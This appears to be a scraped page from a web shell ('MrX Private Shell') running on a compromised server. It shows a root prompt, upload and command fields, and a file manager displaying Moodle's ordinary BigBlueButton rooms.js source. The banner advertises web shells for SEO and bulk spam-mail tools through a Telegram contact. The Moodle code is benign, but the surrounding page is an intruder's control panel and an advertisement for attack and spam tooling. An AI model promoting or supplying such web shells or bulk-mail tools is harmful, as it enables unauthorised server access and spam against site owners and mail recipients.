__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * JS actions for the rooms page for mod_bigbluebuttonbn.
 *
 * @module      mod_bigbluebuttonbn/rooms
 * @copyright   2021 Blindside Networks Inc
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import './actions';
import * as repository from './repository';
import * as roomUpdater from './roomupdater';
import {
    exception as displayException,
    fetchNotifications,
} from 'core/notification';
import Pending from 'core/pending';
import {getString} from 'core/str';
import {add as addToast} from 'core/toast';
import {eventTypes, notifyCurrentSessionEnded} from './events';

/**
 * Init the room
 *
 * @param {Number} bigbluebuttonbnid bigblubeutton identifier
 * @param {Number} pollInterval poll interval in miliseconds
 */
export const init = (bigbluebuttonbnid, pollInterval) => {
    const completionElement = document.querySelector('a[href*=completion_validate]');
    if (completionElement) {
        completionElement.addEventListener("click", event => {
            event.preventDefault();

            const pendingPromise = new Pending('mod_bigbluebuttonbn/completion:validate');

            repository.completionValidate(bigbluebuttonbnid)
                .then(() => getString('completionvalidatestatetriggered', 'mod_bigbluebuttonbn'))
                .then(str => addToast(str))
                .then(() => pendingPromise.resolve())
                .catch(displayException);
        });
    }

    document.addEventListener('click', e => {
        const joinButton = e.target.closest('[data-action="join"]');
        if (joinButton) {
            window.open(joinButton.href, 'bigbluebutton_conference');
            e.preventDefault();
            // Gives the user a bit of time to go into the meeting before polling the room.
            setTimeout(() => {
                roomUpdater.updateRoom(true);
            }, pollInterval);
        }
    });

    document.addEventListener(eventTypes.sessionEnded, () => {
        roomUpdater.stop();
        roomUpdater.updateRoom();
        fetchNotifications();
    });

    window.addEventListener(eventTypes.currentSessionEnded, () => {
        roomUpdater.stop();
        roomUpdater.updateRoom();
        fetchNotifications();
    });
    // Room update.
    roomUpdater.start(pollInterval);
};

/**
 * Auto close child windows when clicking the End meeting button.
 * @param {Number} closeDelay time to wait in miliseconds before closing the window
 */
export const setupWindowAutoClose = (closeDelay = 2000) => {
    notifyCurrentSessionEnded(window.opener);
    window.addEventListener('onbeforeunload', () => {
            window.opener.setTimeout(() => {
                roomUpdater.updateRoom(true);
            }, closeDelay);
        },
        {
            once: true
        });
    window.close(); // This does not work as scripts can only close windows that are opened by themselves.
};

Filemanager

Name Type Size Permission Actions
actions.js File 2.11 KB 0644
events.js File 2.09 KB 0644
guest_access_modal.js File 3.11 KB 0644
index.js File 1.07 KB 0644
modform.js File 13.56 KB 0644
recordings.js File 13.85 KB 0644
repository.js File 3.58 KB 0644
rooms.js File 3.51 KB 0644
roomupdater.js File 3.36 KB 0644
Filemanager